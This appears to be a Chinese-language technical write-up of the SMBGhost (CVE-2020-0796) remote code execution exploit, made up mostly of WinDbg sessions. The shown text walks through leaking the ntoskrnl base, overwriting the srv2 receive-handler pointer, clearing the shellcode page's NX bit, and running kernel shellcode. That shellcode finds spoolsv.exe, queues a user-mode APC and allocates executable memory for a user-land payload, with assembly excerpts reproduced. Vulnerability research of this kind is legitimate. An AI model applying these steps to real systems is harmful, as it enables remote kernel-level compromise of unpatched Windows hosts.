ntoskrnl泄露步驟 1、首先還是要獲取一個ConnectionBufferList的地址,本次調試為0xffffa50834ba42d8。 2、利用任意地址寫,將特定數據寫入可控的緩沖區(0x2100緩沖區)的已知偏移處。成功復制后,0xffffa50836241658處為0xffffa50836241670,正好指向復制數據的后面,0xffffa50836241668處為0xfffff80257d42210(srvnet!imp_IoSizeofWorkItem),指向nt!IoSizeofWorkItem函數(此次要泄露nt!IoSizeofWorkItem函數地址)。

//要復制的數據
kd> dd ffffa508`36240050
ffffa508`36240050  424d53fc ffffffff 00000001 00000020
ffffa508`36240060  00060006 00000000 36241670 ffffa508
ffffa508`36240070  00060006 00000000 57d42210 fffff802

kd> dd ffffa508`2fe38050+1100  //任意地址寫,注意0xffffa5082fe39168處數據
ffffa508`2fe39150  35c3e150 ffffa508 34803a18 ffffa508
ffffa508`2fe39160  00000002 00000000 2fe38050 ffffa508
ffffa508`2fe39170  00001100 00000000 00001278 00000400
kd> p
srv2!Srv2DecompressData+0xe1:
fffff802`51ce7f41 85c0            test    eax,eax
kd> dd ffffa508`2fe38050+1100 //要復制的可控地址(0x18處)
ffffa508`2fe39150  00000000 00000000 00000000 00000000
ffffa508`2fe39160  00000000 00000000 36241650 ffffa508
ffffa508`2fe39170  00001100 00000000 00001278 00000400

kd> g
copy: ffffa508`36241650  00000000`00000000 00000000`00000000
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff      call    srv2!memcpy (fffff802`51cdf5c0)
kd> dd rcx
ffffa508`36241650  00000000 00000000 00000000 00000000
ffffa508`36241660  00000000 00000000 00000000 00000000
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460        mov     eax,dword ptr [rsp+60h]
kd> dd ffffa508`36241650  //成功復制
ffffa508`36241650  00060006 00000000 36241670 ffffa508
ffffa508`36241660  00060006 00000000 57d42210 fffff802

//nt!IoSizeofWorkItem函數指針
kd> u poi(fffff80257d42210)
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000      mov     eax,58h
fffff802`52c7f7a5 c3              ret

3、利用任意地址寫將srvnet!imp_RtlCopyUnicodeString指針-8的地址寫入SRVNET_RECV結構偏移0x118處的HandlerFunctions,這樣系統會認為nt!RtlCopyUnicodeString指針是srv2!Srv2ReceiveHandler函數指針。

kd> dd 0xffffa50834ba42d8-58+118    //HandlerFunctions
ffffa508`34ba4398  3479cd18 ffffa508 2f4a6dc0 ffffa508
ffffa508`34ba43a8  34ae4170 ffffa508 34f2a040 ffffa508

kd> u poi(ffffa5083479cd18+8)    //覆蓋前第二項為srv2!Srv2ReceiveHandler函數指針
srv2!Srv2ReceiveHandler:
fffff802`51cdc3b0 44894c2420      mov     dword ptr [rsp+20h],r9d
fffff802`51cdc3b5 53              push    rbx
fffff802`51cdc3b6 55              push    rbp
fffff802`51cdc3b7 4154            push    r12
fffff802`51cdc3b9 4155            push    r13
fffff802`51cdc3bb 4157            push    r15
fffff802`51cdc3bd 4883ec70        sub     rsp,70h
fffff802`51cdc3c1 488b8424d8000000 mov     rax,qword ptr [rsp+0D8h]

kd> g
copy: ffffa508`34ba4398  ffffa508`3479cd18 ffffa508`2f4a6dc0
srv2!Srv2DecompressData+0x108:
fffff802`51ce7f68 e85376ffff      call    srv2!memcpy (fffff802`51cdf5c0)
kd> p
srv2!Srv2DecompressData+0x10d:
fffff802`51ce7f6d 8b442460        mov     eax,dword ptr [rsp+60h]
kd> dq ffffa508`34ba4398
ffffa508`34ba4398  fffff802`57d42280 ffffa508`2f4a6dc0
ffffa508`34ba43a8  ffffa508`34ae4170 ffffa508`34f2a040
kd> u poi(fffff802`57d42280+8)    //覆蓋前第二項為nt!RtlCopyUnicodeString函數指針
nt!RtlCopyUnicodeString:
fffff802`52d1c170 4057            push    rdi
fffff802`52d1c172 4883ec20        sub     rsp,20h
fffff802`52d1c176 488bc2          mov     rax,rdx
fffff802`52d1c179 488bf9          mov     rdi,rcx
fffff802`52d1c17c 4885d2          test    rdx,rdx
fffff802`52d1c17f 745b            je      nt!RtlCopyUnicodeString+0x6c (fffff802`52d1c1dc)
fffff802`52d1c181 440fb700        movzx   r8d,word ptr [rax]
fffff802`52d1c185 0fb74102        movzx   eax,word ptr [rcx+2]

4、利用任意地址寫分別將兩個參數寫入SRVNET_RECT結構的偏移0x128和0x130處,為HandlerFunctions中函數的前兩個參數。

kd> dd 0xffffa50834ba42d8-58+118
ffffa508`34ba4398  57d42280 fffff802 2f4a6dc0 ffffa508
ffffa508`34ba43a8  36241650 ffffa508 36241660 ffffa508

5、向原始連接發送請求,等待srv2!Srv2ReceiveHandler函數(nt!RtlCopyUnicodeString函數)被調用,函數執行后,nt!IoSizeofWorkItem函數的低6個字節成功被復制到目標地址。

kd> dq ffffa508`36241670 
ffffa508`36241670  0000f802`52c7f7a0 00000000`00000000
ffffa508`36241680  00000000`00000000 00000000`00000000
ffffa508`36241690  00000000`00000000 00000000`00000000

kd> u fffff802`52c7f7a0
nt!IoSizeofWorkItem:
fffff802`52c7f7a0 b858000000      mov     eax,58h
fffff802`52c7f7a5 c3              ret

6、然后利用之前的方式將這6個字節依次泄露出來,加上0xffff000000000000,減去IoSizeofWorkItem函數在模塊中的偏移得到ntoskrnl基址。

Shellcode復制&&執行

1、獲取PTE基址 利用任意地址讀讀取nt!MiGetPteAddress函數偏移0x13處的地址,低6位即可。然后加上0xffff000000000000得到PTE基址為0xFFFFF10000000000(0xfffff80252d03d39處第二個操作數)。

kd> u nt!MiGetPteAddress
nt!MiGetPteAddress:
fffff802`52d03d28 48c1e909        shr     rcx,9
fffff802`52d03d2c 48b8f8ffffff7f000000 mov rax,7FFFFFFFF8h
fffff802`52d03d36 4823c8          and     rcx,rax
fffff802`52d03d39 48b80000000000f1ffff mov rax,0FFFFF10000000000h
fffff802`52d03d43 4803c1          add     rax,rcx
fffff802`52d03d46 c3              ret

d> db nt!MiGetPteAddress + 13 l8
fffff802`52d03d3b  00 00 00 00 00 f1 ff ff                          ........

2、利用任意地址寫將Shellcode復制到0xFFFFF78000000800處,在后續章節會對Shellcode進行進一步分析。

kd> u 0xFFFFF78000000800
fffff780`00000800 55              push    rbp
fffff780`00000801 e807000000      call    fffff780`0000080d
fffff780`00000806 e819000000      call    fffff780`00000824
fffff780`0000080b 5d              pop     rbp
fffff780`0000080c c3              ret
fffff780`0000080d 488d2d00100000  lea     rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c        shr     rbp,0Ch
fffff780`00000818 48c1e50c        shl     rbp,0Ch

3、計算Shellcode的PTE,依然采用nt!MiGetPteAddress函數中的計算公式。((0xFFFFF78000000800 >> 9 ) & 0x7FFFFFFFF8) + 0xFFFFF10000000000 = 0xFFFFF17BC0000000。然后取出Shellcode PTE偏移7處的字節并和0x7F相與之后放回原處,去除NX標志位。

kd> db fffff17b`c0000000    //去NX標志前
fffff17b`c0000000  63 39 fb 00 00 00 00 80-00 00 00 00 00 00 00 00  c9..............
fffff17b`c0000010  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
   +0x000 Valid            : 0y1
   +0x000 Dirty1           : 0y1
   +0x000 Owner            : 0y0
   +0x000 WriteThrough     : 0y0
   +0x000 CacheDisable     : 0y0
   +0x000 Accessed         : 0y1
   +0x000 Dirty            : 0y1
   +0x000 LargePage        : 0y0
   +0x000 Global           : 0y1
   +0x000 CopyOnWrite      : 0y0
   +0x000 Unused           : 0y0
   +0x000 Write            : 0y1
   +0x000 PageFrameNumber  : 0y000000000000000000000000111110110011 (0xfb3)
   +0x000 ReservedForHardware : 0y0000
   +0x000 ReservedForSoftware : 0y0000
   +0x000 WsleAge          : 0y0000
   +0x000 WsleProtection   : 0y000
   +0x000 NoExecute        : 0y1

kd> db fffff17b`c0000000    //去NX標志后
fffff17b`c0000000  63 39 fb 00 00 00 00 00-00 00 00 00 00 00 00 00  c9..............
fffff17b`c0000010  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
kd> dt _MMPTE_HARDWARE fffff17b`c0000000
nt!_MMPTE_HARDWARE
   +0x000 Valid            : 0y1
   +0x000 Dirty1           : 0y1
   +0x000 Owner            : 0y0
   +0x000 WriteThrough     : 0y0
   +0x000 CacheDisable     : 0y0
   +0x000 Accessed         : 0y1
   +0x000 Dirty            : 0y1
   +0x000 LargePage        : 0y0
   +0x000 Global           : 0y1
   +0x000 CopyOnWrite      : 0y0
   +0x000 Unused           : 0y0
   +0x000 Write            : 0y1
   +0x000 PageFrameNumber  : 0y000000000000000000000000111110110011 (0xfb3)
   +0x000 ReservedForHardware : 0y0000
   +0x000 ReservedForSoftware : 0y0000
   +0x000 WsleAge          : 0y0000
   +0x000 WsleProtection   : 0y000
   +0x000 NoExecute        : 0y0

4、利用任意地址寫將Shellcode地址(0xFFFFF78000000800)放入可控地址,然后采用已知函數調用的方法用指向Shellcode指針的可控地址減8的值覆寫HandlerFunctions。使得HandlerFunctions中的srv2!Srv2ReceiveHandler函數指針被覆蓋為Shellcode地址。然后向該連接發包,等待Shellcode被調用。另外,由于ntoskrnl基址已經被泄露出來,可以將其作為參數傳給Shellcode,在Shellcode中就不需要獲取ntoskrnl基址了。

kd> dq ffffa508`34ba42d8-58+118 l1
ffffa508`34ba4398  ffffa508`36241648

kd> u poi(ffffa508`36241648+8)
fffff780`00000800 55              push    rbp
fffff780`00000801 e807000000      call    fffff780`0000080d
fffff780`00000806 e819000000      call    fffff780`00000824
fffff780`0000080b 5d              pop     rbp
fffff780`0000080c c3              ret
fffff780`0000080d 488d2d00100000  lea     rbp,[fffff780`00001814]
fffff780`00000814 48c1ed0c        shr     rbp,0Ch
fffff780`00000818 48c1e50c        shl     rbp,0Ch

kd> dq ffffa508`34ba42d8-58+128 l1
ffffa508`34ba43a8  fffff802`52c12000

kd> lmm nt
Browse full module list
start             end                 module name
fffff802`52c12000 fffff802`536c9000   nt         (pdb symbols)          C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb

kd> g
Breakpoint 0 hit
fffff780`00000800 55              push    rbp
kd> r rcx    //ntoskrnl基址
rcx=fffff80252c12000

Shellcode分析

本分析參考以下鏈接:https://github.com/ZecOps/CVE-2020-0796-RCE-POC/blob/master/smbghost_kshellcode_x64.asm

尋找ntoskrnl.exe基址

獲取內核模塊基址在漏洞利用中是很關鍵的事情,在后面會用到它的很多導出函數。這里列出常見的一種獲取ntoskrnl.exe基址的思路: 通過KPCR找到IdtBase,然后根據IdtBase尋找中斷0的ISR入口點,該入口點屬于ntoskrnl.exe模塊,所以可以在找到該地址后向前搜索找到ntoskrnl.exe模塊基址。 在64位系統中,GS段寄存器在內核態會指向KPCR,KPCR偏移0x38處為IdtBase:

3: kd> rdmsr 0xC0000101
msr[c0000101] = ffffdc81`fe1c1000

3: kd> dt _kpcr ffffdc81`fe1c1000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
   +0x008 TssBase          : 0xffffdc81`fe1d5000 _KTSS64
   +0x010 UserRsp          : 0x10ff588
   +0x018 Self             : 0xffffdc81`fe1c1000 _KPCR
   +0x020 CurrentPrcb      : 0xffffdc81`fe1c1180 _KPRCB
   +0x028 LockArray        : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : 0x00000000`00e11000 Void
   +0x038 IdtBase          : 0xffffdc81`fe1d4000 _KIDTENTRY64
   ......
   +0x180 Prcb             : _KPRCB

ISR入口點在_KIDTENTRY64結構體中被分成三部分:OffsetLow、OffsetMiddle 以及 OffsetHigh。其計算公式為:( OffsetHigh << 32 ) | ( OffsetMiddle << 16 ) | OffsetLow ,如下所示,本次調試的入口地址實際上是0xfffff8004f673d00,該地址位于ntoskrnl.exe模塊。

3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000)
((ntkrnlmp!_KIDTENTRY64 *)0xffffdc81fe1d4000)                 : 0xffffdc81fe1d4000 [Type: _KIDTENTRY64 *]
    [+0x000] OffsetLow        : 0x3d00 [Type: unsigned short]
    [+0x002] Selector         : 0x10 [Type: unsigned short]
    [+0x004 ( 2: 0)] IstIndex         : 0x0 [Type: unsigned short]
    [+0x004 ( 7: 3)] Reserved0        : 0x0 [Type: unsigned short]
    [+0x004 (12: 8)] Type             : 0xe [Type: unsigned short]
    [+0x004 (14:13)] Dpl              : 0x0 [Type: unsigned short]
    [+0x004 (15:15)] Present          : 0x1 [Type: unsigned short]
    [+0x006] OffsetMiddle     : 0x4f67 [Type: unsigned short]
    [+0x008] OffsetHigh       : 0xfffff800 [Type: unsigned long]
    [+0x00c] Reserved1        : 0x0 [Type: unsigned long]
    [+0x000] Alignment        : 0x4f678e0000103d00 [Type: unsigned __int64]

3: kd> u 0xfffff8004f673d00
nt!KiDivideErrorFault:
fffff800`4f673d00 4883ec08        sub     rsp,8
fffff800`4f673d04 55              push    rbp
fffff800`4f673d05 4881ec58010000  sub     rsp,158h
fffff800`4f673d0c 488dac2480000000 lea     rbp,[rsp+80h]
fffff800`4f673d14 c645ab01        mov     byte ptr [rbp-55h],1
fffff800`4f673d18 488945b0        mov     qword ptr [rbp-50h],rax

可直接取IdtBase偏移4處的QWORD值,與0xfffffffffffff000相與,然后進行頁對齊向前搜索,直到匹配到魔值"\x4D\x5A"(MZ),此時就得到了ntoskrnl.exe基址。有了ntoskrnl.exe模塊的基址,就可以通過遍歷導出表獲取相關函數的地址。

3: kd> dq 0xffffdc81`fe1d4000+4 l1
ffffdc81`fe1d4004  fffff800`4f678e00

3: kd> lmm nt
Browse full module list
start             end                 module name
fffff800`4f4a7000 fffff800`4ff5e000   nt         (pdb symbols)          C:\ProgramData\Dbg\sym\ntkrnlmp.pdb\5A8A70EAE29939EFA17C9FC879FA0D901\ntkrnlmp.pdb

3: kd> db fffff800`4f4a7000
fffff800`4f4a7000  4d 5a 90 00 03 00 00 00-04 00 00 00 ff ff 00 00  MZ..............
fffff800`4f4a7010  b8 00 00 00 00 00 00 00-40 00 00 00 00 00 00 00  ........@.......
fffff800`4f4a7020  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
fffff800`4f4a7030  00 00 00 00 00 00 00 00-00 00 00 00 08 01 00 00  ................
fffff800`4f4a7040  0e 1f ba 0e 00 b4 09 cd-21 b8 01 4c cd 21 54 68  ........!..L.!Th
fffff800`4f4a7050  69 73 20 70 72 6f 67 72-61 6d 20 63 61 6e 6e 6f  is program canno
fffff800`4f4a7060  74 20 62 65 20 72 75 6e-20 69 6e 20 44 4f 53 20  t be run in DOS 
fffff800`4f4a7070  6d 6f 64 65 2e 0d 0d 0a-24 00 00 00 00 00 00 00  mode....$.......

獲取目標KTHREAD結構

在x64系統上(調試環境),KPCR偏移0x180處為KPRCB結構,KPRCB結構偏移8處為_KTHREAD結構的CurrentThread。_KTHREAD結構偏移0x220處為 _KPROCESS結構。KPROCESS結構為EPROCESS的第一項,EPROCESS結構偏移0x488為_LIST_ENTRY結構的ThreadListHead。

3: kd> dt nt!_kpcr ffffdc81`fe1c1000
nt!_KPCR
   +0x000 NtTib            : _NT_TIB
   +0x000 GdtBase          : 0xffffdc81`fe1d6fb0 _KGDTENTRY64
   +0x008 TssBase          : 0xffffdc81`fe1d5000 _KTSS64
   +0x010 UserRsp          : 0x10ff588
   +0x018 Self             : 0xffffdc81`fe1c1000 _KPCR
   +0x020 CurrentPrcb      : 0xffffdc81`fe1c1180 _KPRCB
   +0x028 LockArray        : 0xffffdc81`fe1c1870 _KSPIN_LOCK_QUEUE
   +0x030 Used_Self        : 0x00000000`00e11000 Void
   +0x038 IdtBase          : 0xffffdc81`fe1d4000 _KIDTENTRY64
   ......
   +0x180 Prcb             : _KPRCB

3: kd> dx -id 0,0,ffff818c6286f040 -r1 (*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180))
(*((ntkrnlmp!_KPRCB *)0xffffdc81fe1c1180))                 [Type: _KPRCB]
    [+0x000] MxCsr            : 0x1f80 [Type: unsigned long]
    [+0x004] LegacyNumber     : 0x3 [Type: unsigned char]
    [+0x005] ReservedMustBeZero : 0x0 [Type: unsigned char]
    [+0x006] InterruptRequest : 0x0 [Type: unsigned char]
    [+0x007] IdleHalt         : 0x1 [Type: unsigned char]
    [+0x008] CurrentThread    : 0xffffdc81fe1d2140 [Type: _KTHREAD *]

3: kd> dx -id 0,0,ffff818c6286f040 -r1 ((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140)
((ntkrnlmp!_KTHREAD *)0xffffdc81fe1d2140)                 : 0xffffdc81fe1d2140 [Type: _KTHREAD *]
    [+0x000] Header           [Type: _DISPATCHER_HEADER]
    [+0x018] SListFaultAddress : 0x0 [Type: void *]
    [+0x020] QuantumTarget    : 0x791ddc0 [Type: unsigned __int64]
    [+0x028] InitialStack     : 0xfffff6074c645c90 [Type: void *]
    [+0x030] StackLimit       : 0xfffff6074c640000 [Type: void *]
    [+0x038] StackBase        : 0xfffff6074c646000 [Type: void *]
    ......
    [+0x220] Process          : 0xfffff8004fa359c0 [Type: _KPROCESS *]

3: kd> dt _eprocess 0xfffff8004fa359c0
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   +0x2e8 UniqueProcessId  : (null) 
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   ......
   +0x450 ImageFileName    : [15]  "Idle"
   ......
   +0x488 ThreadListHead   : _LIST_ENTRY [ 0xfffff800`4fa38ab8 - 0xffffdc81`fe1d27f8 ]
  • nt!PsGetProcessImageFileName 通過此函數得到ImageFileName在EPROCESS中的偏移(0x450),然后通過一些判斷和計算獲得ThreadListHead在EPROCESS中的偏移(調試環境為0x488)。

  • nt!IoThreadToProcess 從KTHREAD結構中得到KPROCESS(EPROCESS)結構體的地址(偏移0x220處)。然后通過之前計算出的偏移獲取ThreadListHead結構,通過訪問ThreadListHead結構獲取ThreadListEntry(位于ETHREAD),遍歷ThreadListEntry以計算KTHREAD(ETHREAD)相對于ThreadListEntry的偏移,自適應相關吧。

kd> u rip
nt!IoThreadToProcess:
fffff805`39a79360 488b8120020000  mov     rax,qword ptr [rcx+220h]
fffff805`39a79367 c3              ret

kd> g
Breakpoint 0 hit
fffff780`0000091d 4d29ce          sub     r14,r9

kd> ub rip
fffff780`00000900 4d89c1          mov     r9,r8
fffff780`00000903 4d8b09          mov     r9,qword ptr [r9]
fffff780`00000906 4d39c8          cmp     r8,r9
fffff780`00000909 0f84e4000000    je      fffff780`000009f3
fffff780`0000090f 4c89c8          mov     rax,r9
fffff780`00000912 4c29f0          sub     rax,r14
fffff780`00000915 483d00070000    cmp     rax,700h
fffff780`0000091b 77e6            ja      fffff780`00000903

kd> dt _ethread @r14 -y ThreadListEntry 
nt!_ETHREAD
   +0x6b8 ThreadListEntry : _LIST_ENTRY [ 0xffffca8d`1382f6f8 - 0xffffca8d`1a0d36f8 ]

kd> dq r9 l1
ffffca8d`1a0d2738  ffffca8d`1382f6f8

kd> ? @r9-@r14
Evaluate expression: 1720 = 00000000`000006b8
  • nt!PsGetCurrentProcess 通過nt!PsGetCurrentProcess獲取當前線程所在進程的指針 (KPROCESS / EPRROCESS 地址),該指針存放在KTHREAD偏移0xB8處:通過KTHREAD偏移0x98訪問ApcState;然后通過ApcState(KAPC_STATE結構)偏移0x20訪問EPROCESS(KPROCESS)。
kd> u rax
nt!PsGetCurrentProcess:
fffff800`4f5a9ca0 65488b042588010000 mov   rax,qword ptr gs:[188h]
fffff800`4f5a9ca9 488b80b8000000  mov     rax,qword ptr [rax+0B8h]
fffff800`4f5a9cb0 c3              ret

kd> dt _kthread @rax
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   ......
   +0x098 ApcState         : _KAPC_STATE

kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118))
(*((ntkrnlmp!_KAPC_STATE *)0xffffca8d1a0d2118))                 [Type: _KAPC_STATE]
    [+0x000] ApcListHead      [Type: _LIST_ENTRY [2]]
    [+0x020] Process          : 0xffffca8d10ea3340 [Type: _KPROCESS *]
    [+0x028] InProgressFlags  : 0x0 [Type: unsigned char]
  • nt!PsGetProcessId 通過nt!PsGetProcessId函數得到UniqueProcessId在EPROCESS結構中的偏移(0x2e8),然后通過加8定位到ActiveProcessLinks。通過遍歷ActiveProcessLinks來訪問不同進程的EPROCESS結構,通過比較EPROCESS中ImageFileName的散列值來尋找目標進程("spoolsv.exe")。
kd> g
Breakpoint 1 hit
fffff780`0000096e bf48b818b8      mov     edi,0B818B848h

kd> dt _EPROCESS @rcx
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   +0x2e8 UniqueProcessId  : 0x00000000`0000074c Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
   ......
   +0x450 ImageFileName    : [15]  "spoolsv.exe"
  • nt!PsGetProcessPeb && nt!PsGetThreadTeb 然后通過調用nt!PsGetProcessPeb,獲取"spoolsv.exe"的PEB結構(偏移0x3f8處)并保存起來,然后通過ThreadListHead遍歷ThreadListEntry,以尋找一個Queue不為0的KTHREAD(可通過nt!PsGetThreadTeb函數獲取TEB結構在KTHREAD結構中的偏移,然后減8得到Queue)。
kd> dt _EPROCESS @rcx
nt!_EPROCESS
   +0x000 Pcb              : _KPROCESS
   +0x2e0 ProcessLock      : _EX_PUSH_LOCK
   +0x2e8 UniqueProcessId  : 0x00000000`0000074c Void
   +0x2f0 ActiveProcessLinks : _LIST_ENTRY [ 0xffffca8d`179455f0 - 0xffffca8d`13fa15f0 ]
   ......
   +0x3f8 Peb              : 0x00000000`00360000 _PEB
   ......
   +0x488 ThreadListHead   : _LIST_ENTRY [ 0xffffca8d`18313738 - 0xffffca8d`178e9738 ]

kd> dt _kTHREAD @rdx
nt!_KTHREAD
   +0x000 Header           : _DISPATCHER_HEADER
   +0x018 SListFaultAddress : (null) 
   +0x020 QuantumTarget    : 0x3b5dc10
   +0x028 InitialStack     : 0xfffffe80`76556c90 Void
   +0x030 StackLimit       : 0xfffffe80`76551000 Void
   +0x038 StackBase        : 0xfffffe80`76557000 Void
   ......
   +0x0e8 Queue            : 0xffffca8d`1307d180 _DISPATCHER_HEADER
   +0x0f0 Teb              : 0x00000000`00387000 Void

kd> r rdx    //目標KTHREAD
rdx=ffffca8d178e9080

kd> dt _ETHREAD @rdx   //感覺這個沒啥用,先留著
nt!_ETHREAD
   +0x000 Tcb              : _KTHREAD
   ......
   +0x6b8 ThreadListEntry  : _LIST_ENTRY [ 0xffffca8d`18cbe6c8 - 0xffffca8d`16d2e738 ]

向目標線程插入APC對象

  • nt!KeInitializeApc 通過調用nt!KeInitializeApc函數來初始化APC對象(KAPC類型)。如下所示,第一個參數指明了待初始化的APC對象,第二個參數關聯上面的kTHREAD結構,第四個參數為KernelApcRoutine函數指針,第七個參數指明了UserMode:
    ; KeInitializeApc(PKAPC,    //0xfffff78000000e30
    ;                 PKTHREAD,     //0xffffca8d178e9080
    ;                 KAPC_ENVIRONMENT = OriginalApcEnvironment (0),
    ;                 PKKERNEL_ROUTINE = kernel_apc_routine,  //0xfffff78000000a62
    ;                 PKRUNDOWN_ROUTINE = NULL,
    ;                 PKNORMAL_ROUTINE = userland_shellcode,  ;fffff780`00000e00
    ;                 KPROCESSOR_MODE = UserMode (1),
    ;                 PVOID Context);   ;fffff780`00000e00
    lea rcx, [rbp+DATA_KAPC_OFFSET]     ; PAKC
    xor r8, r8      ; OriginalApcEnvironment
    lea r9, [rel kernel_kapc_routine]    ; KernelApcRoutine
    push rbp    ; context
    push 1      ; UserMode
    push rbp    ; userland shellcode (MUST NOT be NULL) 
    push r8     ; NULL
    sub rsp, 0x20   ; shadow stack
    mov edi, KEINITIALIZEAPC_HASH
    call win_api_direct

//初始化后的KAPC結構
kd> dt _kapc fffff78000000e30
nt!_KAPC
   +0x000 Type             : 0x12 ''
   +0x001 SpareByte0       : 0 ''
   +0x002 Size             : 0x58 'X'
   +0x003 SpareByte1       : 0 ''
   +0x004 SpareLong0       : 0
   +0x008 Thread           : 0xffffca8d`178e9080 _KTHREAD
   +0x010 ApcListEntry     : _LIST_ENTRY [ 0x00000000`00000000 - 0x00000000`00000000 ]
   +0x020 KernelRoutine    : 0xfffff780`00000a62     void  +fffff78000000a62
   +0x028 RundownRoutine   : (null) 
   +0x030 NormalRoutine    : 0xfffff780`00000e00     void  +fffff78000000e00
   +0x020 Reserved         : [3] 0xfffff780`00000a62 Void
   +0x038 NormalContext    : 0xfffff780`00000e00 Void
   +0x040 SystemArgument1  : (null) 
   +0x048 SystemArgument2  : (null) 
   +0x050 ApcStateIndex    : 0 ''
   +0x051 ApcMode          : 1 ''
   +0x052 Inserted         : 0 ''

kd> u 0xfffff780`00000a62    //KernelRoutine
fffff780`00000a62 55              push    rbp
fffff780`00000a63 53              push    rbx
fffff780`00000a64 57              push    rdi
fffff780`00000a65 56              push    rsi
fffff780`00000a66 4157            push    r15
fffff780`00000a68 498b28          mov     rbp,qword ptr [r8]
fffff780`00000a6b 4c8b7d08        mov     r15,qword ptr [rbp+8]
fffff780`00000a6f 52              push    rdx
  • nt!KeInsertQueueApc 然后通過nt!KeInsertQueueApc函數將初始化后的APC對象存放到目標線程的APC隊列中。
; BOOLEAN KeInsertQueueApc(PKAPC, SystemArgument1, SystemArgument2, 0);
    ;   SystemArgument1 is second argument in usermode code (rdx)
    ;   SystemArgument2 is third argument in usermode code (r8)
    lea rcx, [rbp+DATA_KAPC_OFFSET]
    ;xor edx, edx   ; no need to set it here
    ;xor r8, r8     ; no need to set it here
    xor r9, r9
    mov edi, KEINSERTQUEUEAPC_HASH
    call win_api_direct

kd> dt _kapc fffff78000000e30
nt!_KAPC
   +0x000 Type             : 0x12 ''
   +0x001 SpareByte0       : 0 ''
   +0x002 Size             : 0x58 'X'
   +0x003 SpareByte1       : 0 ''
   +0x004 SpareLong0       : 0
   +0x008 Thread           : 0xffffca8d`178e9080 _KTHREAD
   +0x010 ApcListEntry     : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]
   +0x020 KernelRoutine    : 0xfffff780`00000a62     void  +fffff78000000a62
   +0x028 RundownRoutine   : (null) 
   +0x030 NormalRoutine    : 0xfffff780`00000e00     void  +fffff78000000e00
   +0x020 Reserved         : [3] 0xfffff780`00000a62 Void
   +0x038 NormalContext    : 0xfffff780`00000e00 Void
   +0x040 SystemArgument1  : 0x0000087f`fffff200 Void
   +0x048 SystemArgument2  : (null) 
   +0x050 ApcStateIndex    : 0 ''
   +0x051 ApcMode          : 1 ''
   +0x052 Inserted         : 0x1 ''

然后判斷KAPC.ApcListEntry中UserApcPending比特位是否被設置,如果成功,就等待目標線程獲得權限,執行APC例程,執行KernelApcRoutine函數。

    mov rax, [rbp+DATA_KAPC_OFFSET+0x10]     ; get KAPC.ApcListEntry
    ; EPROCESS pointer 8 bytes
    ; InProgressFlags 1 byte
    ; KernelApcPending 1 byte
    ; * Since Win10 R5:
    ;   Bit 0: SpecialUserApcPending
    ;   Bit 1: UserApcPending
    ; if success, UserApcPending MUST be 1
    test byte [rax+0x1a], 2
    jnz _insert_queue_apc_done

kd> p
fffff780`000009e7 f6401a02        test    byte ptr [rax+1Ah],2

kd> dt _kapc fffff78000000e30
nt!_KAPC
   +0x000 Type             : 0x12 ''
   +0x001 SpareByte0       : 0 ''
   +0x002 Size             : 0x58 'X'
   +0x003 SpareByte1       : 0 ''
   +0x004 SpareLong0       : 0
   +0x008 Thread           : 0xffffca8d`178e9080 _KTHREAD
   +0x010 ApcListEntry     : _LIST_ENTRY [ 0xffffca8d`178e9128 - 0xffffca8d`178e9128 ]

kd> dx -id 0,0,ffffca8d10ea3340 -r1 (*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40))
(*((ntkrnlmp!_LIST_ENTRY *)0xfffff78000000e40))                 [Type: _LIST_ENTRY]
    [+0x000] Flink            : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]
    [+0x008] Blink            : 0xffffca8d178e9128 [Type: _LIST_ENTRY *]

kd> db rax l1a+1
ffffca8d`178e9128  40 0e 00 00 80 f7 ff ff-40 0e 00 00 80 f7 ff ff  @.......@.......
ffffca8d`178e9138  40 e2 cb 18 8d ca ff ff-00 00 02                 @..........

KernelApcRoutine函數

在這個函數里先將IRQL設置為PASSIVE_LEVEL(通過在KernelApcRoutine中將cr8置0),以便調用ZwAllocateVirtualMemory函數。 + 申請空間并復制用戶態Shellcode 調用ZwAllocateVirtualMemory(-1, &baseAddr, 0, &0x1000, 0x1000, 0x40)分配內存,然后將用戶態Shellcode復制過去。如下所示,分配到的地址為bc0000。

kd> dd rdx l1
fffffe80`766458d0  00000000
kd> dd fffffe80`766458d0 l1    //baseAddr
fffffe80`766458d0  00bc0000

kd> u rip  //將用戶模式代碼復制到bc0000處:
fffff780`00000aa5 488b3e          mov     rdi,qword ptr [rsi]
fffff780`00000aa8 488d354d000000  lea     rsi,[fffff780`00000afc]
fffff780`00000aaf b980030000      mov     ecx,380h
fffff780`00000ab4 f3a4            rep movs byte ptr [rdi],byte ptr [rsi]

kd> u bc0000
00000000`00bc0000 4892            xchg    rax,rdx
00000000`00bc0002 31c9            xor     ecx,ecx
